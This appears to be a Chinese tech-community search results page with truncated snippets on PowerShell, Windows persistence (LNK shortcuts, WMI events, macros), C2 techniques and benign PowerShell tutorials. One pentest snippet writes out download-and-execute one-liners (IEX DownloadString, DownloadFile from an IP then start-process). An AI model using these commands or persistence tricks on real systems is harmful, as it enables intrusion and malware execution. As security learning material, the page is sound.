首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

Window权限维持(四):快捷方式

Windows快捷方式包含对系统上安装软件或文件位置(网络或本地)引用。自从恶意软件出现之初,便已将快捷方式用作执行恶意代码以实现持久性一种方法。...默认情况下,此模块将使用写字板图标伪装成可信任应用程序。 ? 快捷方式目标字段将使用执行Base64有效负载PowerShell命令填充。可以快捷方式转移并移动到启动文件夹中以保持持久性。...BI~C|h1h2h3|“olul|超断ΣV表|Windows快捷方式包含对系统上安装软件或文件位置(网络或本地)引用。...Empire-写字板快捷方式快捷方式目标字段将使用执行Base64有效负载PowerShell命令填充。可以快捷方式转移并移动到启动文件夹中以保持持久性。...xillwillx开发了一个名为ricky.lnkPowerShell脚本,该脚本可以创建一个以.unik字符欺骗.LNK文件,该字符反转.lnk扩展名并在文件末尾附加.txt。

1.3K30

从上而下死亡:从 Azure 到 On-Prem AD 横向移动

AD 解释我们如何滥用 Microsoft Endpoint Manager 从 Azure 租户横向移动到本地 AD 域。...最有趣是,第一个选项保持为“否”导致脚本以 SYSTEM 用户身份运行: image.png 单击下一步,您将看到允许您确定此脚本针对哪些系统和用户执行页面: image.png...您可以选择:在每个可能系统上运行脚本,或者通过脚本限定为现有安全组或特定设备或用户添加到新安全组来将其限制为仅在某些系统上运行。...IntuneManagementExtension.txt 检测 当 Intune 代理下拉并执行 PowerShell 脚本时,会在端点上创建许多工件——一些是永久性,一些是短暂。...在以下位置执行 PowerShell 脚本时,会在端点上创建两个文件: C:\Program 文件 (x86)\Microsoft Intune 管理扩展\Policies\Scripts C:\Program

2.5K10
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    精心构造PS1文件名导致Powershell命令执行

    我们在一次测试中偶然发现,由于信任未过滤文件名,因此在运行特殊命名脚本时,PowerShell可能会执行任意代码。...但是,如果这些脚本是从PowerShells Shell运行而不是“ cmd.exe”,则“&”(调用运算符)阻止我们漏洞利用。...不过,如果用户启用了“ .ps1”脚本以PowerShell作为默认程序打开,则只需双击该文件即可触发漏洞利用。“&”呼叫运算符将不再起效果。...另外,如果用户尚未启用PowerShell来打开.ps1本, ?...测试过程如下: 1、生成powershell命令:首先,我们创建一个用于混淆Base64编码文件名;它将下载并执行一个在本例中名为“ calc.exe”远程可执行文件

    1.9K20

    Windows PowerShell 工具

    向您提供可自定义模板和脚本共享社区库用户界面,这个想法如何?通过此类环境,可快速编写所需任务脚本并能始终了解它们位置以供将来重复使用和参考。 别担心,我可不是和您开玩笑。...此外,可添加自己自定义列以提供满足特定需求计算值或自定义结果。 在此 GUI 内,可启动 Windows PowerShell 提示符或应用程序内置脚本编辑器。...此脚本编辑器提供了类似 IntelliSense 基本环境,它显示了可用 cmdlet 语法以及标准文件和编辑功能(如搜索和替换、打印以及剪切/复制/粘贴)。还可针对步骤创建书签。...另一个不错功能是能在脚本之间添加链接,从而可通过公共元素连接各脚本以获取所需信息。例如,可获取特定用户列表,然后将此列表链接到显示其主目录中数据量脚本。...除这些功能外,PowerGUI 还有许多用于报告和查看内置常见操作脚本,可利用它们来数据转储到 XML、CSV、HTML 和剪贴板。

    2.7K90

    命令控制之Website Keyword

    在这里我们使用EmpireInvoke-Shellcode.ps1来作为powershell木马文件: ?...之后修改当PowerShell-C2本中Word以及DownloadString地址: ?...Matt Nelson还创建了一个Office 宏,它执行相同技术,但另外创建了一个注册表项,每次用户登录时都会执行C2Code PowerShell本以保持持久性: ?...输入任意宏名称,之后点击“创建” ? 之后清除编辑器内所有宏代码,之后复制“Macro”宏代码到粘贴板,之后粘贴宏: ? 之后关闭宏编辑器,同时文档另存为宏文档: ?...之后在Python提供Web服务端将会收到两次请求: ? 同时Meterpreter会话打开,这里就很迷,一下可以一下不可以,暂且过: ? 注册表被修改 ?

    55410

    使用PowerShell 监控运行时间和连接情况

    powershell需要.NET环境支持,同时支持.NET对象。微软之所以Powershell 定位为Power,并不是夸大其词,因为它完全支持对象,面向对象便捷可想而知了。...我打算在用户PC上运行这个脚本,并且该PC在不同网络或者不同子网。也可以在同一时间在SQLServer服务器运行脚本。会产生三个不同日志文件,然后进行比较。...图1 最大区别在于循环位置     两个脚本都会在终端和日志记录日志。如果连接产生问题我们也希望在日志文件中看到错误信息。...当错误信息只在一个日志文件中,那么有时就能引导我们发现网络或者特定某种错误。 PowerShell脚本概述 首先我们来看一下OpenConnQueryCloseConn.ps1这个脚本。...="命令语句-比如查询一个小表行数" $logLoaction="记录日志文件位置.   ---  c:\ps\OpenConnQueryCloseConn.log" 脚本底部就是循环主要部分。

    2.4K60

    WMI 攻击手法研究 – 探索命名空间、类和方法 (第二部分)

    命名空间 让我们简单回顾一下命名空间是什么: 命名空间结构信息类似于文件系统中文件夹,但是,与物理位置 (例如磁盘上) 不同,它们本质上更具有逻辑 WMI 中所有命名空间都是 __Namespace...,让我们看看在 WMI 中删除实例是如何工作。...方法 方法可操作 WMI 对象,如果向上滚动到我们列出所有可用类位置,你会注意到一个名为 Methods 列,其中列出了可用方法。...(这总是很有趣,因为它可能允许我们创建一些东西): Get-CimClass -MethodName Create 进一步缩小范围,列出特定可用方法,需要使用 Powershell select...view=powershell-5.1#parameters 3.2 使用方法 Invoke-WmiMethod (WMI) 和 Invoke-CimMethod (CIM cmdlet) 允许我们使用特定方法

    1.6K21

    WMI利用(权限维持)

    那么在我们短暂获取权限后,如何才能将权限持久化,也就是所说权限维持住呢?...WMI事件中事件消费者可以分为临时和永久两类,临时事件消费者只在其运行期间关心特定事件并进行处理,永久消费者作为类实例注册在WMI命名空间中,一直有效到它被注销。...时间间隔器,需要上线至C2则Payload替换成C2exe或者dll或者ps1即可。...语句,也可以指定WITHIN来指定间隔时间,以秒为单位,但是需提前指定TimerID,可以自行修改PS1本进行完善,添加后门、删除后门操作集成到一个脚本内完成,同时免杀操作可以针对性进行混淆或编码操作...运行ps1本后成功上线 Mof文件添加事件 注意:笔者在测试Mof文件添加事件时,编译后的确能够正常添加事件,但是未能执行指定命令。 #PRAGMA NAMESPACE ("\\\\.

    1.9K21

    如何在Windows 10上安装Python 3并设置本地编程环境

    如何在Windows 10上安装Python 3并设置本地编程环境 介绍 Python是一种多功能编程语言,可用于许多不同编程项目。...设置编程环境使我们能够更好地控制Python项目以及如何处理不同版本包。在使用第三方软件包时,这一点尤为重要。 您可以根据需要设置尽可能多Python编程环境。...每个环境基本上都是计算机中一个目录或文件夹,其中包含一些脚本以使其充当环境。...它被称为my_env: (my_env) PS C:\Users\Sammy\Environments> 这个前缀让我们知道环境my_env当前是活动,这意味着当我们在这里创建程序时,它们只使用这个特定环境设置和包...为此,我们打开nano并创建一个新文件: nano hello.py 一旦文本文件在终端打开,我们输入我们程序: print("Hello, World!")

    2.5K00

    dotnet-install 脚本参考

    适用于 Linux/macOS bash 脚本。 笔记 .NET 收集遥测数据。要了解更多信息以及如何选择退出,请参阅.NET SDK 遥测。...如果未指定版本,脚本安装该latest版本。 安装脚本不会更新 Windows 上注册表。他们只是下载压缩二进制文件并将它们复制到一个文件夹中。...如果您更喜欢自己安装或下载它,它还会显示二进制文件位置。 -FeedCredential|--feed-credential 用作附加到 Azure 源查询字符串。...例子 最新长期支持 (LTS) 版本安装到默认位置: 视窗: 电源外壳 复制 ./dotnet-install.ps1 -Channel LTS macOS/Linux: 重击 复制 ..../dotnet-install.sh --channel LTS 最新 6.0.1xx SDK 预览版安装到指定位置: 视窗: 电源外壳 复制 .

    1.6K20

    巧用符号链接移动文件位置

    有些时候我们可能因为系统或者某些软件缓存占得比较多,想把他们从C盘移动到其他地方。但是软件本身并没有提供修改缓存文件功能。这下应该怎么办呢?...简单说,符号链接就是快捷方式,不过和快捷方式不同是,符号链接会被识别为真实文件或者文件夹。...正因为此,如果你一个软件重要目录移走,然后用那个目录快捷方式替换它,那么这个软件是无法正常运行。但是如果你用符号链接替换它的话,软件是可以正常运行,就像从来没有移动过这个文件夹一样!...好了,说了这么多,下面就来看看如何使用符号链接这个功能吧!在cmd和powershell中都有对应创建符号链接命令,不过这里我只介绍powershell命令。...但是游戏启动器并不支持自定义游戏路径功能。所以这时候符号链接就可以派上用场了。首先把游戏直接移动到固态硬盘,然后在原路径下创建一个指向现在路径符号链接。

    2.1K10

    PowerShell系列(五):PowerShell通过脚本方式运行笔记

    \psl1文件脚本文件存放在F盘桌面目录执行命令如下F  #进入F盘cd 桌面 #进入桌面文件夹 ....\test.ps1  #运行命令2、直接指定完整文件路径执行完整psl1文件F:\桌面\test.ps1具体如下图3、通过cmd命令直接执行需要加关键字PowerShell才可以识别是执行PowerShell...命令格式:PowerShell  ps1文件完整路径4、通过Windows计划任务执行PowerShell脚本PowerShell 脚本默认无法执行,需要先修改 PowerShell 执行策略(ExecutionPolicy...输入上面的命令后会提示我们如何对策略进行修改,这里我们选择y,然后按下回车键。...首先打开Windows任务计划程序创建一个计划任务打开创建计划任务常规选项卡,然后输入名称和描述,具体如下图:切换到触发器选项卡,设置每五分钟执行一次。

    1.9K41

    windows单机搭建k8s环境

    文件迁移到其他分区 最新Docker Desktop默认使用WSL 2来运行,按照上面的提示说这样性能更好: [fivpqy2dw0.png] 但是WSL2默认把文件放到C盘,而且控制台上也没提供设置数据存放目录...,看官网说明,启用WSL后,docker运行数据都在WSL发行版中,文件位置都只能由WSL管理: [cm846h5p2w.png] 这两个目录是放在C盘下,运行过多容器对C盘压力不小......Docker Desktop版本以及配套k8s版本: [kvja8h30zm.png] 访问阿里云脚本仓,下载对应版本脚本: [1ntl40ae2x.png] 默认windows会阻止ps脚本运行...3.3 下载kubectl客户端 官网最新版本下载地址 下载后将该文件动到【C:\Windows\System32】下面,就可以在命令行使用kubectl了(也可以通过修改环境变量PATH达到相同效果...上搭建k8s集群 如何成功启动 Docker 自带 Kubernetes 后记 由于ingress-nginx安装还有点问题,后续再介绍。

    12K52

    Nebula3 SDK (Apr 2009)更新内容

    相对于Sep 2008SDK新内容: 工具 新命令行工具: archiver3 – 为多平台文件档案生成所做包装 新命令行工具: n2converter3 – 转换.n2 文件到.n3文件(Nebula...: 会被进addon 新Particles 子系统(从头重写) -> 注意: 会被进addon 新PostEffect 子系统(从Mangalore引入) -> 注意: 会被进addon...新类CoreGraphics::MemoryMeshLoader CoreGraphics::Shape 重命名为 CoreGraphics::RenderShape (因为CodeWarrior对于不同目录中文件名会产生混淆...() 现在返回CoreGraphics::DisplayDevice设置参数 (可能跟需要显示模式不一样) Graphics::GlobalLightEntity: 所有光源参数移动到渲染线程创建...::MouseRayUtil, 转换2D鼠标位置到世界空间3D射线 新方法: ResourceManager::CheckPendingResources(), 在当前没有等待加载资源时返回true

    1.1K40

    四十二.Powershell恶意代码检测系列 (3)PowerSploit脚本渗透详解

    (1) 首先,如何进入Powershell呢? 一种方法是在运行中直接输入Powershell打开,另一种方法是CMD中输入Powershell打开。...不同操作系统内置Powershell是不一样,比如win7或win2008。 (2) 其次,如何查看版本呢?...(1) 下载远程PowerShell脚本绕过权限执行 调用DownloadString函数下载远程ps1文件。...://192.168.10.11/test.exe','test.exe');start-process test.exe CMD窗口下载文件并执行ps1powershell -c IEX (New-Object...第二步,解压文件。 unzip PowerSploit-master.zip 解压后文件如下图所示: 第三步,解压后文件夹移动到/var/www/html目录,然后搭建一个简易服务器。

    3.2K30

    Ansible 客户端需求–设置Windows主机

    您可以使用Upgrade-PowerShell.ps1本来更新它们。...当主机是域成员时,这是创建侦听器最佳方法,因为配置是自动完成,无需任何用户输入。有关组策略对象更多信息,请参阅 组策略对象文档。 使用PowerShell创建具有特定配置侦听器。...注意 创建HTTPS侦听器时,需要创建一个现有证书并将其存储在LocalMachine\My证书存储中。如果此存储中没有证书,则大多数命令失败。...您可以使用纯文本密码或SSH公共密钥身份验证,可以公共密钥添加到用户配置文件目录authorizedkey.ssh文件夹中文件中,并可以sshdconfig像在Unix / Linux主机上一样使用...也可以看看 剧本简介 剧本介绍 技巧和窍门 剧本提示和技巧 Windows模块列表 Windows特定模块列表,全部在PowerShell中实现 用户邮件列表 有一个问题?

    10.1K41
    领券